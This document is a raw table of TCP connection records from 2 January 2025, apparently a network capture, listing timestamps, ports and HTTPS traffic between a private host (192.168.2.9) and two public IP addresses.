Jan 2, 2025 20:29:57.009108067 CET	50013	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:57.009116888 CET	443	50013	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:57.032690048 CET	443	50007	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:57.032757044 CET	50007	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.032789946 CET	443	50007	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:57.032850027 CET	50007	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.032954931 CET	50007	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.032995939 CET	443	50007	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:57.033078909 CET	50007	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.033709049 CET	50020	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.033762932 CET	443	50020	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:57.033833981 CET	50020	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.034111023 CET	50020	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.034131050 CET	443	50020	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:57.112481117 CET	443	50011	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:57.112531900 CET	443	50011	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:57.112555027 CET	50011	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:57.112576008 CET	443	50011	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:57.112586975 CET	50011	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:57.112627029 CET	50011	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:57.112632990 CET	443	50011	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:57.112644911 CET	443	50011	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:57.112704039 CET	50011	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:57.114303112 CET	50011	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:57.114320040 CET	443	50011	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:57.115253925 CET	50021	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:57.115291119 CET	443	50021	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:57.115478039 CET	50021	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:57.115812063 CET	50021	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:57.115823030 CET	443	50021	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:57.119932890 CET	50012	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.120114088 CET	50013	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:57.120158911 CET	50020	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.121829987 CET	50022	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.121867895 CET	443	50022	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:57.122004032 CET	50022	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.122188091 CET	50023	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.122220993 CET	443	50023	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:57.122291088 CET	50023	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.122997046 CET	50023	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.123007059 CET	443	50023	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:57.123375893 CET	50022	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.123399973 CET	443	50022	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:57.771198988 CET	443	50021	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:57.775235891 CET	50021	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:57.799792051 CET	443	50023	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:57.799895048 CET	50023	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.800573111 CET	443	50023	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:57.800620079 CET	50023	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.801870108 CET	443	50022	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:57.801934004 CET	50022	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.802654982 CET	443	50022	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:57.802695990 CET	50022	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.983422995 CET	50021	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:57.983454943 CET	443	50021	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:57.983688116 CET	50021	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:57.983702898 CET	443	50021	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:57.992397070 CET	50023	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.992415905 CET	443	50023	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:57.992763042 CET	443	50023	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:57.992841005 CET	50023	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:57.998058081 CET	50023	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.000313997 CET	50022	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.000348091 CET	443	50022	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.000721931 CET	443	50022	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.000771046 CET	50022	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.001857996 CET	50022	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.039328098 CET	443	50023	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.047328949 CET	443	50022	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.286267042 CET	443	50023	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.286385059 CET	50023	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.286412954 CET	443	50023	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.286712885 CET	50023	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.286797047 CET	50023	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.286833048 CET	443	50023	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.286909103 CET	50023	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.287539959 CET	50032	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:58.287580013 CET	443	50032	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:58.287642002 CET	50032	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:58.287775993 CET	50033	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.287811041 CET	443	50033	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.287988901 CET	50032	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:58.287997961 CET	50033	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.288002968 CET	443	50032	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:58.288171053 CET	50033	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.288184881 CET	443	50033	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.302304029 CET	443	50022	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.302351952 CET	50022	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.302385092 CET	443	50022	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.302455902 CET	50022	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.303183079 CET	443	50022	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.303236961 CET	443	50022	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.303266048 CET	50022	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.303283930 CET	50022	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.303364038 CET	50022	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.303378105 CET	443	50022	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.303901911 CET	50034	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.303930044 CET	443	50034	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.304006100 CET	50034	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.304187059 CET	50034	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.304200888 CET	443	50034	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.322875977 CET	443	50021	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:58.322935104 CET	443	50021	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:58.323020935 CET	50021	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:58.323050022 CET	443	50021	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:58.323158026 CET	50021	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:58.324165106 CET	443	50021	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:58.324213028 CET	443	50021	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:58.324270010 CET	50021	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:58.330138922 CET	50021	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:58.330152988 CET	443	50021	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:58.330792904 CET	50035	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:58.330822945 CET	443	50035	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:58.330898046 CET	50035	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:58.331178904 CET	50035	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:58.331192017 CET	443	50035	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:58.975570917 CET	443	50032	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:58.975630045 CET	50032	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:58.976300955 CET	50032	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:58.976315975 CET	443	50032	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:58.978548050 CET	50032	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:58.978554964 CET	443	50032	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:58.987137079 CET	443	50034	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.987215042 CET	50034	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.988253117 CET	443	50034	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.988303900 CET	50034	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.990108967 CET	50034	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.990120888 CET	443	50034	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.990499020 CET	443	50034	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:58.990576029 CET	50034	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:58.990972996 CET	50034	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.031332016 CET	443	50034	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:59.036026001 CET	443	50035	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:59.036118984 CET	50035	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.036659002 CET	50035	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.036667109 CET	443	50035	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:59.036864996 CET	50035	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.036870956 CET	443	50035	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:59.071537971 CET	443	50033	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:59.071616888 CET	50033	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.072300911 CET	443	50033	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:59.072350025 CET	50033	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.074018955 CET	50033	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.074031115 CET	443	50033	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:59.074317932 CET	443	50033	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:59.074373007 CET	50033	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.074845076 CET	50033	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.115331888 CET	443	50033	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:59.373356104 CET	443	50034	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:59.373410940 CET	50034	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.373429060 CET	443	50034	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:59.373467922 CET	50034	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.373856068 CET	50034	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.373913050 CET	443	50034	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:59.374111891 CET	443	50034	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:59.374175072 CET	50034	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.374270916 CET	50034	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.374680042 CET	50044	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.374732971 CET	443	50044	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:59.374888897 CET	50044	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.375199080 CET	50044	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.375211954 CET	443	50044	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:59.392365932 CET	443	50032	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:59.392421007 CET	443	50032	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:59.392426014 CET	50032	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.392441034 CET	443	50032	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:59.392467976 CET	50032	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.392508984 CET	50032	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.392519951 CET	443	50032	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:59.392545938 CET	443	50032	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:59.392596006 CET	50032	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.393368006 CET	50032	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.393385887 CET	443	50032	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:59.394082069 CET	50045	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.394120932 CET	443	50045	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:59.394237041 CET	50045	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.394731045 CET	50045	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.394752026 CET	443	50045	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:59.458992004 CET	443	50033	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:59.459085941 CET	50033	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.459116936 CET	443	50033	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:59.459189892 CET	50033	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.459238052 CET	50033	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.459287882 CET	443	50033	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:59.459333897 CET	50033	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.459999084 CET	50046	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.460051060 CET	443	50046	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:59.460130930 CET	50046	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.460400105 CET	50046	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:59.460413933 CET	443	50046	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:59.583343983 CET	443	50035	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:59.583410025 CET	443	50035	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:59.583448887 CET	50035	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.583475113 CET	443	50035	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:59.583499908 CET	50035	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.583523989 CET	50035	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.583527088 CET	443	50035	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:59.583619118 CET	50035	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.584275007 CET	50035	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.584292889 CET	443	50035	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:59.584819078 CET	50047	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.584863901 CET	443	50047	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:59.584947109 CET	50047	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.585176945 CET	50047	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:59.585206032 CET	443	50047	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.087466002 CET	443	50044	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.087546110 CET	50044	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.088704109 CET	443	50044	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.088761091 CET	50044	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.092390060 CET	50044	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.092398882 CET	443	50044	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.092796087 CET	443	50044	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.092848063 CET	50044	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.093245983 CET	50044	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.100605011 CET	443	50045	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.100667000 CET	50045	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.101113081 CET	50045	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.101125002 CET	443	50045	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.101326942 CET	50045	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.101335049 CET	443	50045	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.135339022 CET	443	50044	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.172813892 CET	443	50046	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.172889948 CET	50046	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.173595905 CET	443	50046	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.173650980 CET	50046	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.175585032 CET	50046	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.175591946 CET	443	50046	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.175852060 CET	443	50046	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.175987959 CET	50046	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.176378965 CET	50046	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.219331026 CET	443	50046	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.274223089 CET	443	50047	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.274310112 CET	50047	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.275006056 CET	50047	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.275015116 CET	443	50047	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.275428057 CET	50047	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.275433064 CET	443	50047	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.467250109 CET	443	50044	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.467341900 CET	50044	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.467370033 CET	443	50044	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.467418909 CET	50044	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.467648029 CET	443	50044	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.467689037 CET	50044	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.467713118 CET	443	50044	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.467756987 CET	50044	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.472898006 CET	50044	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.472914934 CET	443	50044	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.473803043 CET	50053	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.473856926 CET	443	50053	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.473963022 CET	50053	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.474359989 CET	50053	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.474392891 CET	443	50053	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.562052965 CET	443	50046	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.562439919 CET	50046	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.562475920 CET	443	50046	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.562532902 CET	50046	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.562680960 CET	50046	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.562728882 CET	443	50046	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.562892914 CET	443	50046	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.562944889 CET	50046	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.562961102 CET	50046	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.563847065 CET	50056	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.563874006 CET	443	50056	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.563941002 CET	50056	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.564492941 CET	50056	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:00.564502954 CET	443	50056	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:00.680247068 CET	443	50045	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.680295944 CET	443	50045	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.680399895 CET	443	50045	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.680423021 CET	50045	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.680514097 CET	50045	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.701523066 CET	443	50047	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.701569080 CET	443	50047	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.701677084 CET	443	50047	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.701760054 CET	50047	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.701760054 CET	50047	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.721677065 CET	50045	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.721710920 CET	443	50045	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.726128101 CET	50047	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.726146936 CET	443	50047	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.746728897 CET	50057	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.746759892 CET	443	50057	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.746871948 CET	50057	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.763906956 CET	50058	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.763946056 CET	443	50058	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.764019966 CET	50058	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.767415047 CET	50057	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.767431974 CET	443	50057	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:00.784495115 CET	50058	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:00.784512043 CET	443	50058	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:01.122075081 CET	50053	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.122205973 CET	50056	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.122241974 CET	50057	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:01.122245073 CET	50058	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:01.126533031 CET	50063	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.126580000 CET	443	50063	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:01.126676083 CET	50063	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.127441883 CET	50063	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.127463102 CET	443	50063	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:01.131783962 CET	50064	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.131828070 CET	443	50064	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:01.131894112 CET	50064	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.139388084 CET	50064	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.139417887 CET	443	50064	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:01.767128944 CET	443	50063	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:01.767225027 CET	50063	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.767923117 CET	443	50063	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:01.768513918 CET	50063	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.769814968 CET	443	50064	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:01.769896030 CET	50064	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.770601034 CET	443	50064	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:01.770653963 CET	50064	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.782593966 CET	50063	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.782630920 CET	443	50063	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:01.782813072 CET	50064	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.782844067 CET	443	50064	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:01.782991886 CET	443	50063	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:01.783065081 CET	50063	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.783267975 CET	443	50064	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:01.783344984 CET	50064	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.783620119 CET	50064	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.783693075 CET	50063	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:01.831334114 CET	443	50063	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:01.831347942 CET	443	50064	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:02.148063898 CET	443	50063	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:02.148154020 CET	50063	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:02.148175001 CET	443	50063	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:02.148215055 CET	50063	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:02.148350954 CET	50063	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:02.148391962 CET	443	50063	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:02.148452044 CET	50063	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:02.149087906 CET	50073	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:02.149096966 CET	50074	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:02.149122000 CET	443	50073	216.58.206.65	192.168.2.9
Jan 2, 2025 20:30:02.149131060 CET	443	50074	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:02.149178982 CET	50073	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:30:02.149213076 CET	50074	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:02.149486065 CET	50074	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:30:02.149497986 CET	443	50074	172.217.18.14	192.168.2.9
Jan 2, 2025 20:30:02.149642944 CET	50073	443	192.168.2.9	216.58.206.65
